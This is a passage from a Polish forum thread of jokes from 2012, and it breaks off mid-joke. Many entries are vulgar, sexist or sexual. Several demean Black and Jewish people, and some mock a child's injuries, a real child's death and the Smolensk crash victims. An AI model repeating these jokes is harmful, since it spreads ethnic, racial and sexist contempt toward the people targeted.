[ Dodano: 22-02-2012, 10:02 ]
a tu jest nawet jego zdjęcie:


lozerka - 22-02-2012, 13:19

Nuroslaw napisał/a:
a nieprawdę napisał? :aaa:

[/quote]
seksizm się panoszy !!!!

i z szowinistami nie dyskutuję ;-)

ja osiągam stan zbliżony do 70% skuteczności :-D , ale...od czasu, kiedy przestałam być początkującym kierowcą, nigdy nie robię drugiego podejścia- tylko pedanci i początkujący kierowcy bawią się w równoległe ustawianie, takie sa moje spostrzeżenia :-D

Nuroslaw napisał/a:
a tu jest nawet jego zdjęcie:


a cały występował w "Grze Pozorów" http://punchitin.files.wo...crying-game.jpg ;-)

Nuroslaw - 22-02-2012, 16:58

lozerka napisał/a:
Nuroslaw napisał/a:
a nieprawdę napisał? :aaa:


seksizm się panoszy !!!!


Sprawdziłem:
Cytat:
Seksizm: to pogląd, że kobiety i mężczyźni nie są sobie równi


Jestem seksitą! :cmoook: bo umiem jeszcze rozróżnić kobietę od faceta ? To chyba dobrze, czy źle? Wobec wszechogarniającej dominacji kobiet, zaczynam się zastanawiać nad tym, coraz poważniej,
właczam teleexpres: kobieta prowadzi
zaglądam na pogodę w tv: kobieta
Biorę poważny męski magazyn Playboy- w środku rozebrane baby
biorę wiec gazetkę o pindoleniu tz. Zycie na gorąco, Viva itp - w środku baby, a często rozebrane (tj. w samych gaciach, nierzadko bez biustonoszy),
pierwsza lepsza reklama - bo jesteśmy tego warte.... tak pięknie w nich wyglądasz, ogólnei same baby na reklamach
wchodzę do mojego Urzedu załatwić sprawę - same baby niemal, ten facet :tam: 1/10 osób w pulowerku nie robi na mnie dobrego wrażenia :bee;
jadę do szkoły zawieźć mojego dziecko - same nauczycielki, łacznie z dyrektorem, tylko woźny to facet.
Tak stoję więc w robocie i patrzę na tych moich pracowników, same chłopy jak siedzą w tym mrozie pod chmurką i zapierdalaja w błocie i kurzu - czy MY aby nie jesteśmy dyskriminowaną płcią, wbrew temu co próbują nam wmówić ?

[ Dodano: 22-02-2012, 17:27 ]
:aaa:

jacekplacek - 22-02-2012, 18:33

Nuroslaw napisał/a:
ak stoję więc w robocie i patrzę na tych moich pracowników, same chłopy jak siedzą w tym mrozie pod chmurką i zapierdalaja w błocie i kurzu - czy MY aby nie jesteśmy dyskriminowaną płcią, wbrew temu co próbują nam wmówić ?

A weź tylko spróbuj po szychcie iść na piwo... a nie daj Boże, dwa! :D

lozerka - 22-02-2012, 21:58

Nuroslaw napisał/a:


Sprawdziłem:
Cytat:
Seksizm: to pogląd, że kobiety i mężczyźni nie są sobie równi


Jestem seksitą! :cmoook: bo umiem jeszcze rozróżnić kobietę od faceta ?


pytasz poważnie :-D ? Bo ja do te pory nieco żartowałam ;-)

ale jeśli pytanie jest na poważnie, to powiem Ci tyle, ze w powyższym pytaniu mylisz pojęcia "równy" i "jednakowy", dla mnie dośc odmienne znaczeniowo :))

Nuroslaw - 23-02-2012, 08:33

jesteśmy w Hyde Parku? jesteśmy. Traktuj to oczywiście ciągle z przymróżeniem oka.
Ale z tym rozróżnianiem męzczyzny od kobiety jest coraz wiekszy problem, bo w dobie certyfikatów na wszystko ważne jest za kogo się uważasz a nie kim jesteś (coś mi się tam plącze że na zachodzie takie przymiarki jeśli już nie są, to byly robione).

A żonglerką słowna obrazu mi tu nie zaciemniaj. W pamięci mam jeszcze wyrok sądu w sprawie Poczty Polskiej, gdy klient poczuł się oszukany iż list priorytet szedł dłużej niż zwykły:
Werdykt mówił: to że płacisz więcej za priorytet daje Ci termin okreslony ale nie gwarantowany :D

W matematyce znak równy stawia się między jednakowymi wyrażeniami
Słownik Języka Polskiego definiuje równy jako gładki, płaski, bez dołów i wzniesień

[ Dodano: 23-02-2012, 08:35 ]
A mówiąc poważnie, to przecież nie jesteśmy ani jednakowi ani równi, nawet wobec prawa. (chociażby granica wieku emerytalnego)

[ Dodano: 23-02-2012, 08:58 ]
Dzięki temu potrafi być wesoło :pa:

jacekplacek - 23-02-2012, 09:09

Wracając do tematu...

Wchodzi facet z karabinem do baru i krzyczy:
-Kto mi posuwał żonę?!
Głos dochodzący z tłumu:
- Naboi ci nie wystarczy.

[ Dodano: 23-02-2012, 09:29 ]

Nuroslaw - 23-02-2012, 11:05

Mały przykład na to jak sobie można samemu pokomplikować życie...
Ożeniłem się z trzydziestoczteroletnią ładną i młodą wdówką, która miała równie ładną szesnastoletnią córkę. Mój ojciec ożenił się z moja pasierbicą. Od tej pory wszyscy potraciliśmy orientacje w rodzinnych stosunkach:
Moja żona, czyli synowa mojego ojca jest również jego teściową. Moja pasierbica została moją macochą, a mój ojciec moim zięciem. Nie koniec na tym... Niedawno urodził mi się syn, a pól roku później jego stryj, czyli syn mojego ojca. Moja macocha czyli córka mojej żony została w ten sposób siostrą swojego wnuka, będąc równocześnie babką swojego brata. Jej syn jest moim bratem, a ja jego dziadkiem. Mój ojciec jest szwagrem swojego wnuka, który jest bratankiem jego syna. Moja żona, teściowa i synowa mojego ojca jest babką mojego brata. W ten sposób zostałem swoim własnym dziadkiem...

arturb - 24-02-2012, 16:27

www.chamsko.pl
Ruski - 26-02-2012, 08:24

Morze, sztorm... wicher wieje, fale 15 metrowe szaleją... statek miotany jest na wszystkie strony... woda wdziera się na pokład na którym panika... wszycy biegają dookoła próbując się ukryć. Jeden z majtków podczas ucieczki natyka się na Kapitana, który ze stoickim spokojem siedzi na mostku i pali papierosa. Na następny dzień, już po sztormie Majtek pyta:
- Panie Kapitanie jak Pan to robi że jest Pan taki opanowany w każdej sytuacji.
- Widzisz Synu. Zdradzę Ci moją tajemnicę stoickiego spokoju. To papierosy które palę. Ponieważ Cię lubię - masz jednego.
Majtek zapala, zaciąga się...
- Rewelacja, najlepsze jakie paliłem. Niby nie za ostre, ale mają głęboki smak. Skąd Kapitan je ma?
- Synu. To moja tajemnica - mówi spokojnie Kapitan - ale ponieważ Cię lubię powiem Ci. Do każdego papierosa, które sam ręcznie robię, oprócz tytoniu dodaję włos z łona najpiękniejszej Kobiety z portów, które mijamy. To sprawia że tytoń ma zawsze taki głęboki smak.
Majtek podziękował i w najbliższym porcie wyszukał najatrakcyjniejszą dziwkę jaką udało mu się znaleźć. Zabrał jej włosa i na statku zrobił jak mu powiedział Kapitan. Zapalając papierosa natknął się właśnie na niego.
- Panie Kapitanie - zrobiłem jak Pan radził. Niech Pan kapitan sam oceni.
Kapitan zaciągnął się... i skrzywił:
- Tfu! Majtek! Za blisko d*py rwiesz!

jacekplacek - 28-02-2012, 10:00


kn_dlugi - 28-02-2012, 12:24

Lekarka pyta 65 facia czy ma problemy z oddawaniem moczu (wiadomo, chodzi o prostatę).
- Nie miał pan ostatnio jakiś problemów z oddawaniem moczu?
- Właściwie to mam taki pewien problem...
- A co się dzieje? Jestem w końcu lekarzem i mogę coś doradzić.
- Żeby się wysikać, to muszę go obiema rękami w dół przygiąć, inaczej bym lamperie obsikał.

QQS - 09-03-2012, 18:28

http://www.youtube.com/wa...player_embedded
Dąbek69 - 09-03-2012, 20:50

Gośc po ostrej balandze budzi się i na stole widzi piwo , szklaneczkę i liścik od żony:
"Kochanie , nie przemęczaj się, wypij piwko ja wrócę niedługo i ugotuję obiadek.Twoja Henia."
Gośc deko speszony woła syna i pyta.
-Synu , czy ja przypadkiem wczoraj nie dałem matce kwiatów albo nie daj Boże pierścionka?
Syn odpowiada:
-Tato. Woczraj jak zwykle po wypłacie przyszedłęś nawalony jak szpadel, nic Ci nie smakowało , wywaliłes talerz z zupą za balkon i ległeś na łózku. Potem mama zaczęła Cię rozbierac do spania i jak wzięła się za rozpinanie spodni to powiedzałeś jaj tak. S.....j szmato , jestem żonaty...

[ Dodano: 09-03-2012, 21:00 ]
Żona zmęczona cotygodniowymi libacjami męża postanowiła dac mu nauczkę. Po którejś z kolei imprezie, gdy slubny po powrocie ze spotkania z kolegami zaległ bez czucia ,żona rozpakowała prezerwatywę , nawinęła ją na długopis i wepcchnęłu mu w ...4 litery ale tak,, żeby troszkę wystawała. Mąż na drugi dzień poszedł do toalety i wrócił nieco speszony...
Żony pyta:
-Jak tam na spotkaniu z kumplami wczoraj...?
Mąż odpowiada "
-Ja już nie mam kolegów.... :ping:

DeDeK - 10-03-2012, 10:45

Nuroslaw napisał/a:
A mówiąc poważnie, to przecież nie jesteśmy ani jednakowi ani równi


przesadzasz przeciez mezczysni od kobiet w zasadzie niczym sie nie roznia z tylu to samo z przodu tez pasuje :d

Nuroslaw - 16-03-2012, 08:51

czy zawsze ?


Marcin76 - 28-03-2012, 21:38

Zaczyna się tendencyjnie:

Złapał diabeł Polaka, Niemca i Rosjanina...
Uwięził w lochach, dał każdemu psa, wór kiełbasy i powiedział:
- kto najlepiej wytresuje sobakę, ten wyjdzie na wolność. Macie na to miesiąc.

Po miesiącu wizytacja.

Idzie do celi Niemca. Niemiec chudy jak nieszczęście, pies wypasiony na kiełbasie.
Diabeł popatrzał i mówi:
- pokaż co potrafi?
Pies aportuje, daje łapkę, kręci się w kółko.
Diabeł pokiwał głową i mówi:
- nic tego psa nie nauczyłeś, idę do Rosjanina...
W celi Ruska ta sama sytuacja - Rosjanin chudy, pies wypasiony, morda aż lśni;)...
- pokaż co go nauczyłeś - mówi diabeł.
Rosjanin siada, wyciąga zmiętoloną talię kart i zaczyna grać z psem w pokera...
- Ooo zajebiście, jesteś prawie wolny, ale jeszczę skoczę do Polaka...
U Polaka sytuacja diametralnie różna:
Pies - szkielet, skóra i kości...
Polak - rozwalony na wyrze, brzuszysko jak bęben.
Diabeł pokiwał głową i mówi:
- wiedziałem Polak, że ty psa niczego nie nauczysz...
Polak popatrzył i mówi:
- chwika!
Sięga do wora, bierze ostatnią kiełbasę, a pies:
- Andrzej daj kiełbasę!!!!!!!!!!!

Dąbek69 - 28-03-2012, 23:26

Zulus Czaka złapał Polaka, Rosjanina i Niemca i powiedział,że uwolni tego, który poda taka liczbę , której on nie zna....
Rosjanin pomyślał,że taki Zulus nie umie liczyc to powiedział:
-Milion
Zulus
-Milion , to ja mam ludzi...
Niemiec
-Miliard...
Zulus schylił się, nabrał w swoje dwie wielkie dłonie piasku i rzekł"
-Tu jest więcej ziaren piasku....
Polak
- Od ch...ja ...
Zulus zdziwiony powiada:
-No fakt takiej liczby nie znam. jesteś wolny
Uwolnił Polaka ale po kilku godzinach kazał go sprowadzic do siebie i rzecze...
- Powiedz mi ile to jest a dam Ci jeszcze obstawę i transport do najbliższego portu...
Polak mu odpowiedział
-Widzisz to drzewo...? No, to od tego drzewa w pi...du...

jacekplacek - 11-04-2012, 17:40

Uwaga: mocne :)

[youtube]http://www.youtube.com/watch?feature=player_embedded&v=ki4WMpFyMTM[/youtube]

Nuroslaw - 13-04-2012, 15:11

Murzynowi dali kaszankę. Tak mu smakowała, że zjadł aż do ramienia...
TYMOTEUSZ - 13-04-2012, 16:00

Mój ulubiony - ale zeby nie było rasistą nie jestem

Co to jest : duże, niebieskie i nie lubi murzynów

Świat

Ryszard Szwajcer - 13-04-2012, 17:37

W knajpie przy stoliku siedzi dwóch murzynów i jeden mulat.
Podchodzi kelner i pyta mulata:
"co podać najjaśniejszy panie?"

MarSku - 23-04-2012, 10:19

Mąż z żoną oglądają w telewizji program o psychologii i różnicach w odczuwaniu emocji.
W pewnym momencie mąż odzywa się:
- Kochanie, to wszystko są bzdury. Założę się, że nie jesteś w stanie powiedzieć mi czegoś, co uczyni mnie radosnym i smutnym jednocześnie.
- Spośród wszystkich twoich kumpli, ty masz największego penisa -odrzekła

jacekplacek - 27-04-2012, 08:22


Piotr Stańczuk - 27-04-2012, 11:21

- ile pompek może zrobić Huck Norris ?
- wszystkie

Yabulon - 09-05-2012, 22:58

http://www.youtube.com/wa...e&v=2fUR1eiV1NM
Dąbek69 - 17-05-2012, 21:33

Spotkało się dwóch mężów jednej kobiety.Były i obecny.
Były , chcąc zrobic na złośc i dopiec obecnemu swojej byłej zaczął "rzucac" takie teksty:
-No jak tam , ten towar przechodzony. Pewnie rozkalibrowana ja lej po bombie ?
Na to obecny odpowiada:
-Tylko pierwsze 3 centymetry a potem, to juz nówka nie używana...

ramzes78 - 20-05-2012, 10:40

Późnym popołudniem w dużej korporacji Dyrektor Generalny namiętnie atakuje młodą asystentkę.
Sypią się guziki, fruwa bielizna.
Ona na biurku, on na niej głośno sapiąc.
- tak , tak , panie dyrektorze. Teraz! niech mi pan włoży!
- przecież włożyłem już minutę temu.
- o boże! jaki wielki!



Przychodzi Edyp do wyroczni:
- Witaj, wyrocznio.
- Yo, motherfucker!


Przyszedł ksiądz z kolędą. Po modlitwie i poświęceniu domu zwrócił się do małej dziewczynki:
- Umiesz się żegnać, dziecko?
- Umiem. Do widzenia.


Dlaczego kobiety po 50tce przestają menstruować?
Żeby nie zabrakło krwi na żylaki.


- Pogotowie, słucham?
- Myślę, że moja żona nie żyje.
- Rozumiem, sprawdził Pan jakiekolwiek funkcje życiowe?
- Tak. Już trzy razy wsadziłem jej penisa w tyłek a ona nie powiedziała nie


Byłem w szoku gdy dzisiaj na uniwersytecie czarny udzielił mi indywidualnego wykładu. Powiedział, że nie powinienem sikać gdy on czyści toaletę.


Ekonomiści już pod koniec zeszłego roku przewidzieli wypadek i śmierć Madzi podając, że w Polsce w 2012 roku coraz trudniej będzie utrzymać dziecko.



Skromny żydowski chłopak przyszedł do seksuologa i skarży się, że chociaż, dopiero co się ożenił, to nic mu z młodą żoną nie wychodzi.
Doktor go zapytał:
- A, jaką pan przyjmuje pozycję w łóżku?
- Leżę na prawym boku.
- A, próbował pan leżeć na lewym boku?
- Co? Twarzą do mamy?


Listopad. Deszcz i wiatr. 3 prostytutki chodzą po chodniku i rozmawiają.
- Zimno jak cholera. Dziś poszłabym z facetem nawet za 50 złoty - rzekła pierwsza.
Druga:
- Taka zimnica, że nawet za 20.
Na to trzecia:
- Teraz, to ja nawet za darmo - od rana nic ciepłego w ustach nie miałam.


Wczoraj pouczałem swojego młodszego synka żeby nie kładł siurka na krawędzi muszli gdy sika :
- wiesz co będzie jak deska opadnie i przytrzaśnie Ci żołądź ?!?
- wiem ! Z tyłu posypią się kasztany...
Albo już mu to się przytrafiło, albo przyciągnął z przedszkola.



Lekcja poglądowa w szkole podstawowej. Pani nauczycielka pyta dzieci jakie znają nowości farmaceutyczne ostatnich miesięcy.
Oczywiście Jasio jako pierwszy podnosi rączkę i krzyczy:
- Ja, ja.
Pani pyta:
- Jasiu powiedz nam jakie znasz najnowsze lekarstwa.
- Viagra, proszę pani.
Zaskoczona pani, nie wiedząc co powiedzieć upewnia się czy aby dobrze usłyszała. Jaś potwierdza, pani pyta dalej:
- A na co Jasiu Twoim zdaniem ta Viagra jest?
- Na sraczkę proszę Pani - odpowiada Jaś.
- Jak to Jasiu na sraczkę - jesteś pewien? - pyta zaskoczona pani.
- Tak proszę Pani. Co wieczór moja mama mówi do taty:
"Zażyj Viagrę, może ci to gówno stwardnieje."



Siedzą zajączek, wilk i żółw. Na stole stoi butelka wódki. Zwierzęta stwierdziły, że to za mało i trzeba kupić więcej. Wilk z zajączkiem od razu wskazali na żółwia:
- No dobra, pójdę, ale nie możecie wypić ani kropelki w tym czasie.
Mija tydzień, żółwia nie ma, wilk mówi:
- Pijemy.
- Obiecaliśmy żółwiowi, że nie będziemy pić bez niego.
Tak minął 2 i 3 tydzień. W końcu zajączek bierze butelkę do ręki z zamiarem otwarcia, a żółw wygląda za krzaków i mówi:
- Bo nie pójdę!



Po imprezie rodzinnej zostało mnóstwo żarcia i sporo wódki. Następnego dnia żona idzie do pracy. Wraca wieczorem - niczego nie ma, tylko pijany mąż.
- Gdzie wódka? Gdzie sałatki i całe żarcie?
- A ty co myślałaś, że wyszłaś i życie się po tym zatrzymało?


Do pubu, w którym siedzi Irlandczyk, wchodzi trzech Angoli. Zamawiają po kuflu piwa i zaczynają się zastanawiać, jak tu wkurzyć nieznajomego. Pierwszy z nich wstaje, podchodzi i mówi:

- Ty, wiesz, że święty Patryk był pedałem?
- No i co z tego?
Pierwszy Angol niepocieszony wrócił do stolika. Drugi wstaje, mówi "teraz ja spróbuję" i podchodzi do Irlandczyka::
- Ty, a wiesz, że święty Patryk był pedałem i w dodatku transwestytą?
- No i co z tego?
Ten także wrócił niepocieszony do stolika. W końcu trzeci próbuje:
- Ty, a wiesz, że święty Patryk był Angolem?
- Taa...Twoi kumple już mi mówili.



Wchodzi murzyn do baru z zamiarem wszczęcia bójki.
Przy barze siedzą Francuz,Niemiec i Polak.
Bierze browar i podchodzi do Francuza
-Lubię dymać białe laski
Na co Francuz
-super,bardzo się cieszę
No to podchodzi do Niemca
-lubię dymać białe laski
Niemiec wygadany
-oczywiście,gratuluje
Podchodzi do Polaka
-lubię dymać białe laski
A Polak
-Rozumiem Cię doskonale.Ja za tymi czarnymi też nie przepadam


Na leżakowaniu w przedszkolu leżą dzieci na łóżeczkach i w pewnej chwili chłopczyk pyta dziewczynkę:
- Jesteś chłopcem czy dziewczynką?
- Nie wiem.
- To sprawdź!
- No to mi pomóż!
- No to musisz podnieść kołderkę.
Dziewczynka podniosła kołderkę na to chłopczyk:
- Jesteś dziewczynką, bo masz różową piżamkę.

Grotto8 - 21-05-2012, 12:20

ramzes78 napisał/a:

- Ty, wiesz, że święty Patryk był pedałem?
- No i co z tego?
Pierwszy Angol niepocieszony wrócił do stolika. Drugi wstaje, mówi "teraz ja spróbuję" i podchodzi do Irlandczyka::
- Ty, a wiesz, że święty Patryk był pedałem i w dodatku transwestytą?
- No i co z tego?
Ten także wrócił niepocieszony do stolika. W końcu trzeci próbuje:
- Ty, a wiesz, że święty Patryk był Angolem?
- Taa...Twoi kumple już mi mówili.


Ten mi się podobał.

ramzes78 napisał/a:

Przychodzi Edyp do wyroczni:
- Witaj, wyrocznio.
- Yo, motherfucker!


A ten leci tak:
Mija się Syzyf z Edypem:
- Yo, rollingstone!
- Yo, mather fucker!

phoenix - 23-05-2012, 21:51

Ot kolejne suchary.

- Jak się czuje Ania po amputacji rączek ?
- Niezręcznie.

- Ania spadła z rowerka. Dlaczego nie płacze ?
- Kierownica przebiła jej płuco.

napoleon604 - 23-05-2012, 22:36

Cześć Jasiu, co robisz? Jem banana, a co on taki brązowy? Bo jem go drugi raz.
Aleksander - 12-06-2012, 15:09

Żona mówi do męża:
- Skarbie, nie uprawialiśmy sexu od dwóch miesięcy
Na to mąż:
- Chyba Ty

Ruski - 14-06-2012, 17:18


kminiorek - 14-06-2012, 18:58
Temat postu: dziś zasłyszany
Rosja wiadomo państwo rozległe różne strefy czasowe
Putin do doradców -trzeba zrobić z tym poRządek ostatnio zadzwoniłem do Kim Dżon Ila mówie wszystkiego najleprzego z okazji urodzin - a on do mnie ze to dopiero jutro.
Przed chwilą zadzwoniłem do Tuska z kondolencjami po śmierci Kaczyńskiego a on do mnie JESZCZE NIE WYLECIELI :zdz:

Ruski - 15-06-2012, 11:40

- Mamo, a dlaczego moja kuzynka ma na imię Róża?
- bo ciocia lubi kwiaty synku
- aha, a Ty co lubisz mamo?
- Wacuś, przestań zadawać głupie pytania.

[ Dodano: 16-06-2012, 15:04 ]
Dlaczego naturalne mleko matki jest lepsze od sztucznego?
Bo jest w dużo fajniejszym opakowaniu.


Dwie łechtaczki wchodzą do mięsnego.
Jedna do drugiej:
- no mów
- nie, Ty mów, ja się wstydzę
- dobra, 2 kilogramy ozorków poproszę.

[ Dodano: 20-06-2012, 22:11 ]
Ruski
optymista - uczy się angielskiego
pesymista - uczy się chińskiego
realista - czyści kałasznikowa

[ Dodano: 21-06-2012, 16:50 ]
http://youtu.be/hFmPRt_B3Tk

Dąbek69 - 12-07-2012, 21:49

Rozmawiają dwie koleżanki:
- Jak tam Twój wczorajszy sex?
- Beznadzieja... mąż przyszedł do domu, w 3 minuty zjadł obiad,
potem 4 minuty bzykania i po dwóch minutach spał. A u Ciebie?
- No u mnie rewelacja, mąż przyszedł do domu, zabrał mnie na przepyszną romantyczną kolację. Później przez godzinę wracaliśmy do domu spacerkiem przez miasto, potem świece ,godzina przecudownej gry wstępnej, później godzina nieziemskiego sexu a na koniec wyobraź sobie, że przez godzinę rozmawialiśmy czule ze sobą. Bajka po prostu!

W tym samym czasie rozmawiają ze sobą ich faceci:
- Jak tam Twój wczorajszy sex?
- Beznadzieja. Przychodzę i akurat prądu nie było, zabrałem więc gdzieś starą na kolację. Żarcie beznadziejne, drogo, kasy mało, więc musiałem wracać z buta. Wróciliśmy dalej nie było prądu, to musiałem zapalać te jebane świeczki. Byłem tak wkur*wiony, że przez godzinę nie mógł mi stanąć, a później jeszcze ku*wa usnąć nie mogłem. A u Ciebie?
- U mnie zajebiście! Przychodzę do domu, żarcie na stole, nawpierdalalem się, pobzykałem i poszedłem spać.

[ Dodano: 18-07-2012, 22:05 ]
Bóg chciał się dowiedzieć, co słychać na Ziemi
Wszyscy aniołowie byli zajęci, więc wysłał jednego z archaniołów na Ziemię po telewizor....
Wrócił anioł z 60-cio calową plazmą. Bóg usiadł w fotelu, wziął pilota do ręki i ogląda. Na pierwszym kanale pokazane było jak kobieta rodzi. Lekarze robią co mogą (znieczulenie itp.), ona krzyczy, krew się leje. Bóg zawołał Św. Piotra i pyta:
- Piotrze, co to jest?
- Sam Panie powiedziałeś: "W bólu będziesz rodziła..."
Na co Bóg odrzekł:
- Ale ja... tylko żartowałem...
Więc Bóg przełączył na inny kanał, na którym pokazany był górnik pracujący w kopalni, umorusany od stóp po czubek nosa, cały spocony.
- A to, co to jest? - zapytał Wszechmogący.
- Jak to co? Przecież sam Panie powiedziałeś: "W pocie czoła chleb zdobywać będziesz”– odrzekł Piotr.
- Ale przecież ja żartowałem... - odrzekł Pan.
Następny program ukazywał katedrę całą w złocie i marmurze. Przed katedrą kilkanaście mercedesów klasy S, a w każdym z nich biskup gruby jak prosię.
- A to... Kto to jest? - z coraz większym zaciekawieniem wypytywał Bóg.
- A to Panie są ci, którzy wiedzieli, że żartowałeś...

lukaszl - 22-07-2012, 22:28

Mąż i żona oglądają zagraniczny program psychologiczny o skrajnych emocjach.
W pewnym momencie odzywa się mąż:
- Kochanie, to wszystko stek bzdur. Założę się, że nie jesteś w stanie powiedzieć mi czegoś, co uczyni mnie szczęśliwym i smutnym w tym samym czasie.
- Masz największego penisa wśród własnych kumpli............ :D

Damass - 29-07-2012, 23:05

Wydział dopłat unijnych w ministerswie rolnictwa ogłasza nabór na nowych pracowników.
Przed komisją staje młody działacz
Szef komisji pyta się
- Dlaczego chce pan u nas pracować

- Tato... nie żartuj...

Ruski - 30-07-2012, 16:32

Facet ogląda Discovery, spiker z ekranu:
- Pandy mają ich 16, rekiny 100, a u człowieka norma to 32 zęby.
Facet podrywa się z fotela i wrzeszczy:
- k*rwa, jestem pandą

[ Dodano: 01-08-2012, 21:47 ]
Nocka idzie więc życzę dobranoc :ooo:
http://youtu.be/cFqu9D5NJ54

Dąbek69 - 21-08-2012, 20:45

http://www.youtube.com/watch?v=qkstyUCyVtU
Ruski - 23-08-2012, 21:11

Ilu forumowiczów potrzeba, żeby zmienić żarówkę?


1 - aby zmienić żarówkę i napisać że żarówka została zmieniona

14 - którzy podzielą się podobnymi doświadczeniami przy zmienianiu żarówki i napiszą o tym jak inaczej można było to zrobić

7 - którzy ostrzegą o niebezpieczeństwach grożących przy zmianie żarówki

1 - którzy przeniesie temat do działu „Oświetlenie"

2 - którzy zaczną się kłócić i przeniosą to do działu „Elektryka”

7 - którzy wytkną błędy gramatyczne/ortograficzne w postach na temat wymiany żarówki

5 - którzy pojadą tym co wytykali błędy

3- którzy poprawią te błędy

6 - którzy będą się kłócić czy pisze się „żarówka” czy „rzarówka” i

6 - którzy powiedzą im że są głupi

2 - profesjonalnych elektryków którzy poinformują wszystkich że mówi się „lampa”

15 - wszechwiedzących którzy twierdzą że siedzieli w tym temacie i mówi się „żarówka”

19 - którzy napiszą że to forum nie jest o żarówkach i powinno się to przenieść do forum o żarówkach

11 - którzy obronią temat mówiąc że wszyscy urywają żarówek więc temat pasuje

36 - którzy będą debatować która metoda zmieniania żarówek jest lepsza, gdzie kupić żarówki, jakiej marki i które są wadliwe

7 - którzy podeślą linki gdzie można zobaczyć różne przykłady żarówek

4 - którzy napiszą że te linki nie działają i podeślą nowe

13 - którzy zacytują kilkanaście postów pod cytatami pisząc: „Ja też” / „Zgadzam się”

5 - którzy napiszą że odchodzą z forum bo nie mogą dłużej znieść kontrowersji wokół żarówek

4 - którzy napiszą że „BYŁO!”

13 - którzy napiszą żeby „szukać” zanim napisze się kolejne pytania o żarówki

1 - który zrobi mały hijack i zapyta się jak wymienić klakson

1 - który odpowie na oryginalny post po pół roku i zacznie temat od nowa.

Dąbek69 - 06-09-2012, 20:29

http://julianator.pl/post/901
Ruski - 10-09-2012, 16:16

Kod:
http://www.youtube.com/watch?v=aVYAvQRSFd0

tatanka - 13-09-2012, 19:49

nie moglem sie oderwac od tych filmikow
jacekplacek - 14-09-2012, 12:36

Młoda i atrakcyjna lekarz geriatra bada sędziwego dziadka. Po kilku chwilach
badania orzeka:
- Musi pan przestać się onanizować.
- Dlaczego?!
- Bo probuję pana przebadać..

[ Dodano: 14-09-2012, 12:51 ]
Cztery dresy jadą nowiutka BMW. W pewnym niefortunnym momencie walnął w nich maluch. Zdenerwowani wysiedli z BMW. Po podejściu do drzwi malucha jeden z nich wybił szybę, wyciągnął przez nią kierowcę malucha i mówi:
- No, to teraz będzie wpie...
- Ależ panowie, to nie jest sprawiedliwe, ja tu jestem sam, słaby, mały a was jest czterech...
Dresy odwróciły się by omówic sytuacje i po chwili jeden z nich mówi:
- No dobra, to Basior i Grucha są z tobą...

Kurierex - 28-09-2012, 06:39

Znana jest już przyczyna niskiego stanu wody w Wiśle.

Większość wody z rzeki znajduje się na stacji metra Warszawa Powiśle.

Grotto8 - 05-10-2012, 09:43

Dzień z życia Polaka:
Wstaje rano,
włącza japońskie radyjko,
zakłada amerykańskie spodnie, wietnamski podkoszulek i chińskie tenisówki,
z holenderskiej lodówki wyciąga niemieckie piwo,
siada przed koreańskim komputerem i w amerykańskim banku zleca przelewy za internetowe zakupy w Anglii,
wsiada do czeskiego samochodu i jedzie do francuskiego hipermarketu na zakupy,
kupuje hiszpańskie owoce, belgijski ser i greckie wino,
wraca do domu, gotuje obiad na rosyjskim gazie,
na koniec siada na włoskiej kanapie pijąc kolumbijską kawę słodzoną ukraińskim cukrem,
następnie bierze niemiecką gazetę i....szuka pracy

dziubek72 - 11-11-2012, 19:36

Księdzu uciekł z klatki kanarek. Podczas niedzielnej mszy ksiądz pyta parafian:
- Kto ma ptaszka?
Podnosi się las męskich rąk.
- Nie o to mi chodzi! Kto widział ptaszka?
Kobiety wyciągają ręce. Ksiądz wkurzony:
- Nie o to pytam! Kto widział MOJEGO ptaszka?
Ręce podnieśli wszyscy ministranci.

Ruski - 12-11-2012, 22:09




[ Dodano: 13-11-2012, 16:36 ]
- Słyszałeś, ponoć Staszek nie żyje!
- Tak, wiem o tym doskonale... Wyobraź sobie, że Staszek jechał samochodem obok mojego domu i nagle wyskoczył mu pod koła kot. Staszek nie chciał przejechać zwierzaka, więc szarpnął kierownicą w bok, wjechał na krawężnik, auto wyleciało w powietrze, przeturlało się po moim ogrodzie, Staszek wyleciał z samochodu i przez szybę wpadł do mojej sypialni...
- Daj spokój, przecież to straszne tak zginąć!
- Ależ nie, on wciąż jeszcze żył. Leżał tak cały we krwi w tym rozbitym szkle i nagle zauważył taką starą, zabytkową szafę. Wyciągnął rękę i chwycił się szafy, żeby wstać. Niestety szafa z całym impetem przewróciła się na niego i pogruchotała mu kości...
- Rany, jaka okropna śmierć!
- Nie, nie, utrzymał się przy życiu. Jakoś wypełzł spod szafy i doczołgał się do schodów. Tam chwycił się poręczy i próbował podnieść, ale poręcz nie wytrzymała ciężaru jego ciała i urwała się pod nim. Staszek spadł z pierwszego piętra na stół w korytarzu, a połamane kawałki poręczy powbijały mu się w ciało...
- Psiakrew, strasznie zginął!
- No co ty, to go nie zabiło. Spadł tuż obok drzwi do kuchni, czołga się do środka i próbuje podciągnąć na kuchence, ale zahaczył o duży garnek z gotującą się wodą i chlust! Człowieku, cały wrzątek wylądował na nim i poparzył mu ciało...
- Cholera, przerażająca taka śmierć!
- Ależ nie, wciąż jeszcze oddychał. Mało tego, w pewnym momencie zauważył telefon. Próbował dosięgnąć słuchawki, żeby wezwać pomoc, ale zamiast tego wetknął palce do gniazdka elektrycznego. Żebyś ty to widział, woda w połączeniu z prądem wywołała istny żywioł i Staszkiem szarpnęło napięcie rzucając jego ciałem o ścianę...
- O rany, okropnie tak umrzeć!
- Daj spokój, on wtedy jeszcze nie umarł...
- To właściwie jak on zginął?
- Zastrzeliłem go!
- Zastrzeliłeś go?
- No k*rwa, człowieku, przecież on by mi całą chałupę roz****dolił!

[ Dodano: 14-11-2012, 16:56 ]
Idzie żółwik, króliczek i lisek przez pustynię i niosą pudełko z pizzą. Idą, idą, idą, jeden dzień, dwa dni, tydzień, miesiąc, pięć, nagle zatrzymują się i króliczek mówi:
- Ej, chłopaki, zjedzmy tą pizzę! I tak nie ma nic innego do jedzenia.
- Nie, jak zjemy to już nie będzie co jeść wogóle.
Idą więc dalej, siedem miesięcy, rok, cztery lata, sześćdziesiąt siedem lat, sto dziewięć, nagle zatrzymują się i lisek mówi:
- Panowie, nadszedł czas, aby zjeść zawartość pudełka!
- Nie, jak zjemy to nie będzie nic innego do jedzenia!
Idą więc dalej, dwieście lat, trzysta, tysiąc lat, w końcu stają, i żółwik mówi:
- Nie no, chłopaki, trzeba spożyć placka, bo się zepsuje.
- Nie, nie będzie nic do jedzenia na potem, chcesz tu umrzeć?
Idą dalej, tysiąc sto, tysiąc trzysta, dwa tysiące lat, nagle stają i lisek mówi:
